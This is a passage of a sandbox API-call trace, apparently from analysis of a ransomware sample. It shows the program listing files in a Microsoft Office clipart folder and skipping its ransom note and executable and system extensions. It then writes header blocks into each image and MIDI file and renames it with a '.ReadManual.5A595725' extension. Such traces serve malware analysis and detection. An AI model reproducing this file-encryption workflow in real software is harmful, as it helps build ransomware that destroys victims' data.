0x76c1a55b [0270.295] CloseHandle (hObject=0x194) returned 1 [0270.295] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea13f600, ftCreationTime.dwHighDateTime=0x1c98cd1, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea13f600, ftLastWriteTime.dwHighDateTime=0x1c98cd1, nFileSizeHigh=0x0, nFileSizeLow=0x15d49, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0400002.PNG", cAlternateFileName="")) returned 1 [0270.295] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0400002.PNG" | out: lpString1="J0400002.PNG") returned="J0400002.PNG" [0270.295] lstrcmpiW (lpString1="J0400002.PNG", lpString2="RecoveryManual.html") returned -1 [0270.295] StrStrIW (lpFirst="J0400002.PNG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.295] StrCmpIW (psz1="PNG", psz2="exe") returned 1 [0270.296] StrCmpIW (psz1="PNG", psz2="dll") returned 1 [0270.296] StrCmpIW (psz1="PNG", psz2="sys") returned -1 [0270.296] StrCmpIW (psz1="PNG", psz2="msi") returned 1 [0270.296] StrCmpIW (psz1="PNG", psz2="mui") returned 1 [0270.296] StrCmpIW (psz1="PNG", psz2="inf") returned 1 [0270.296] StrCmpIW (psz1="PNG", psz2="cat") returned 1 [0270.296] StrCmpIW (psz1="PNG", psz2="bat") returned 1 [0270.296] StrCmpIW (psz1="PNG", psz2="cmd") returned 1 [0270.296] StrCmpIW (psz1="PNG", psz2="ps1") returned -1 [0270.296] StrCmpIW (psz1="PNG", psz2="vbs") returned -1 [0270.296] StrCmpIW (psz1="PNG", psz2="ttf") returned -1 [0270.296] StrCmpIW (psz1="PNG", psz2="fon") returned 1 [0270.296] StrCmpIW (psz1="PNG", psz2="lnk") returned 1 [0270.296] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" [0270.296] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG.ReadManual.5A595725" [0270.296] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG.ReadManual.5A595725") returned 87 [0270.296] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39096477346) returned 1 [0270.296] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png")) returned 0x20 [0270.296] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.297] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=89417) returned 1 [0270.297] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15d49, lpName=0x0) returned 0x184 [0270.297] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.297] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.297] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.299] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.299] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15d49) returned 0x1de0000 [0270.301] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.302] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39097045752) returned 1 [0270.302] CloseHandle (hObject=0x184) returned 1 [0270.302] SetSecurityInfo () returned 0x57 [0270.302] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.302] CloseHandle (hObject=0x194) returned 1 [0270.302] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x234c6600, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x234c6600, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x1e836, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0400003.PNG", cAlternateFileName="")) returned 1 [0270.303] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0400003.PNG" | out: lpString1="J0400003.PNG") returned="J0400003.PNG" [0270.303] lstrcmpiW (lpString1="J0400003.PNG", lpString2="RecoveryManual.html") returned -1 [0270.303] StrStrIW (lpFirst="J0400003.PNG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.303] StrCmpIW (psz1="PNG", psz2="exe") returned 1 [0270.303] StrCmpIW (psz1="PNG", psz2="dll") returned 1 [0270.303] StrCmpIW (psz1="PNG", psz2="sys") returned -1 [0270.303] StrCmpIW (psz1="PNG", psz2="msi") returned 1 [0270.303] StrCmpIW (psz1="PNG", psz2="mui") returned 1 [0270.303] StrCmpIW (psz1="PNG", psz2="inf") returned 1 [0270.303] StrCmpIW (psz1="PNG", psz2="cat") returned 1 [0270.304] StrCmpIW (psz1="PNG", psz2="bat") returned 1 [0270.304] StrCmpIW (psz1="PNG", psz2="cmd") returned 1 [0270.304] StrCmpIW (psz1="PNG", psz2="ps1") returned -1 [0270.304] StrCmpIW (psz1="PNG", psz2="vbs") returned -1 [0270.304] StrCmpIW (psz1="PNG", psz2="ttf") returned -1 [0270.304] StrCmpIW (psz1="PNG", psz2="fon") returned 1 [0270.304] StrCmpIW (psz1="PNG", psz2="lnk") returned 1 [0270.304] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" [0270.304] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG.ReadManual.5A595725" [0270.304] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG.ReadManual.5A595725") returned 87 [0270.304] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39097258755) returned 1 [0270.304] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png")) returned 0x20 [0270.304] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.304] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=124982) returned 1 [0270.304] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e836, lpName=0x0) returned 0x184 [0270.304] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.305] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.305] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.307] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.307] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e836) returned 0x1de0000 [0270.310] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.311] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39097993332) returned 1 [0270.311] CloseHandle (hObject=0x184) returned 1 [0270.311] SetSecurityInfo () returned 0x57 [0270.311] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.311] CloseHandle (hObject=0x194) returned 1 [0270.311] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39f2bd00, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39f2bd00, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x19a5d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0400004.PNG", cAlternateFileName="")) returned 1 [0270.312] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0400004.PNG" | out: lpString1="J0400004.PNG") returned="J0400004.PNG" [0270.312] lstrcmpiW (lpString1="J0400004.PNG", lpString2="RecoveryManual.html") returned -1 [0270.312] StrStrIW (lpFirst="J0400004.PNG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.312] StrCmpIW (psz1="PNG", psz2="exe") returned 1 [0270.312] StrCmpIW (psz1="PNG", psz2="dll") returned 1 [0270.312] StrCmpIW (psz1="PNG", psz2="sys") returned -1 [0270.312] StrCmpIW (psz1="PNG", psz2="msi") returned 1 [0270.312] StrCmpIW (psz1="PNG", psz2="mui") returned 1 [0270.312] StrCmpIW (psz1="PNG", psz2="inf") returned 1 [0270.312] StrCmpIW (psz1="PNG", psz2="cat") returned 1 [0270.312] StrCmpIW (psz1="PNG", psz2="bat") returned 1 [0270.312] StrCmpIW (psz1="PNG", psz2="cmd") returned 1 [0270.312] StrCmpIW (psz1="PNG", psz2="ps1") returned -1 [0270.312] StrCmpIW (psz1="PNG", psz2="vbs") returned -1 [0270.312] StrCmpIW (psz1="PNG", psz2="ttf") returned -1 [0270.312] StrCmpIW (psz1="PNG", psz2="fon") returned 1 [0270.312] StrCmpIW (psz1="PNG", psz2="lnk") returned 1 [0270.312] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" [0270.312] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG.ReadManual.5A595725" [0270.312] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG.ReadManual.5A595725") returned 87 [0270.312] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39098089460) returned 1 [0270.312] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png")) returned 0x20 [0270.312] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.313] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=105053) returned 1 [0270.313] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x19a5d, lpName=0x0) returned 0x184 [0270.313] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.313] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.314] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.315] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.315] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x19a5d) returned 0x1de0000 [0270.318] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.318] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39098725877) returned 1 [0270.319] CloseHandle (hObject=0x184) returned 1 [0270.319] SetSecurityInfo () returned 0x57 [0270.319] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.319] CloseHandle (hObject=0x194) returned 1 [0270.319] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aa7600, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82aa7600, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x17742, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0400005.PNG", cAlternateFileName="")) returned 1 [0270.319] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0400005.PNG" | out: lpString1="J0400005.PNG") returned="J0400005.PNG" [0270.319] lstrcmpiW (lpString1="J0400005.PNG", lpString2="RecoveryManual.html") returned -1 [0270.319] StrStrIW (lpFirst="J0400005.PNG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.319] StrCmpIW (psz1="PNG", psz2="exe") returned 1 [0270.319] StrCmpIW (psz1="PNG", psz2="dll") returned 1 [0270.319] StrCmpIW (psz1="PNG", psz2="sys") returned -1 [0270.319] StrCmpIW (psz1="PNG", psz2="msi") returned 1 [0270.319] StrCmpIW (psz1="PNG", psz2="mui") returned 1 [0270.319] StrCmpIW (psz1="PNG", psz2="inf") returned 1 [0270.319] StrCmpIW (psz1="PNG", psz2="cat") returned 1 [0270.319] StrCmpIW (psz1="PNG", psz2="bat") returned 1 [0270.319] StrCmpIW (psz1="PNG", psz2="cmd") returned 1 [0270.319] StrCmpIW (psz1="PNG", psz2="ps1") returned -1 [0270.319] StrCmpIW (psz1="PNG", psz2="vbs") returned -1 [0270.319] StrCmpIW (psz1="PNG", psz2="ttf") returned -1 [0270.319] StrCmpIW (psz1="PNG", psz2="fon") returned 1 [0270.319] StrCmpIW (psz1="PNG", psz2="lnk") returned 1 [0270.319] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" [0270.319] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG.ReadManual.5A595725" [0270.319] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG.ReadManual.5A595725") returned 87 [0270.319] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39098823855) returned 1 [0270.320] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png")) returned 0x20 [0270.320] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.321] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=96066) returned 1 [0270.321] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17742, lpName=0x0) returned 0x184 [0270.321] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.321] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.321] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.323] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.323] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17742) returned 0x1de0000 [0270.326] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.326] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39099509779) returned 1 [0270.326] CloseHandle (hObject=0x184) returned 1 [0270.326] SetSecurityInfo () returned 0x57 [0270.327] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.327] CloseHandle (hObject=0x194) returned 1 [0270.327] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2645, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JAVA_01.MID", cAlternateFileName="")) returned 1 [0270.327] lstrcpyW (in: lpString1=0x6ab90a, lpString2="JAVA_01.MID" | out: lpString1="JAVA_01.MID") returned="JAVA_01.MID" [0270.327] lstrcmpiW (lpString1="JAVA_01.MID", lpString2="RecoveryManual.html") returned -1 [0270.327] StrStrIW (lpFirst="JAVA_01.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.327] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0270.327] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0270.327] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0270.327] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0270.327] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0270.327] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0270.327] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0270.327] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0270.327] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0270.327] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0270.327] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0270.327] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0270.327] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0270.327] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0270.327] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" [0270.327] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.ReadManual.5A595725" [0270.327] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.ReadManual.5A595725") returned 86 [0270.327] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39099603257) returned 1 [0270.327] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid")) returned 0x20 [0270.328] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.328] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9797) returned 1 [0270.329] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2645, lpName=0x0) returned 0x184 [0270.329] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbc) returned 1 [0270.329] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.330] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.332] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.332] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2645) returned 0x2f0000 [0270.332] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.332] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39100072723) returned 1 [0270.332] CloseHandle (hObject=0x184) returned 1 [0270.332] SetSecurityInfo () returned 0x57 [0270.332] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.332] CloseHandle (hObject=0x194) returned 1 [0270.332] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x16d3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JNGLE_01.MID", cAlternateFileName="")) returned 1 [0270.332] lstrcpyW (in: lpString1=0x6ab90a, lpString2="JNGLE_01.MID" | out: lpString1="JNGLE_01.MID") returned="JNGLE_01.MID" [0270.332] lstrcmpiW (lpString1="JNGLE_01.MID", lpString2="RecoveryManual.html") returned -1 [0270.332] StrStrIW (lpFirst="JNGLE_01.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.332] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0270.332] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0270.332] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0270.332] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0270.332] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0270.332] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0270.332] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0270.332] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0270.333] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0270.333] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0270.333] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0270.333] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0270.333] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0270.333] StrCmpIW 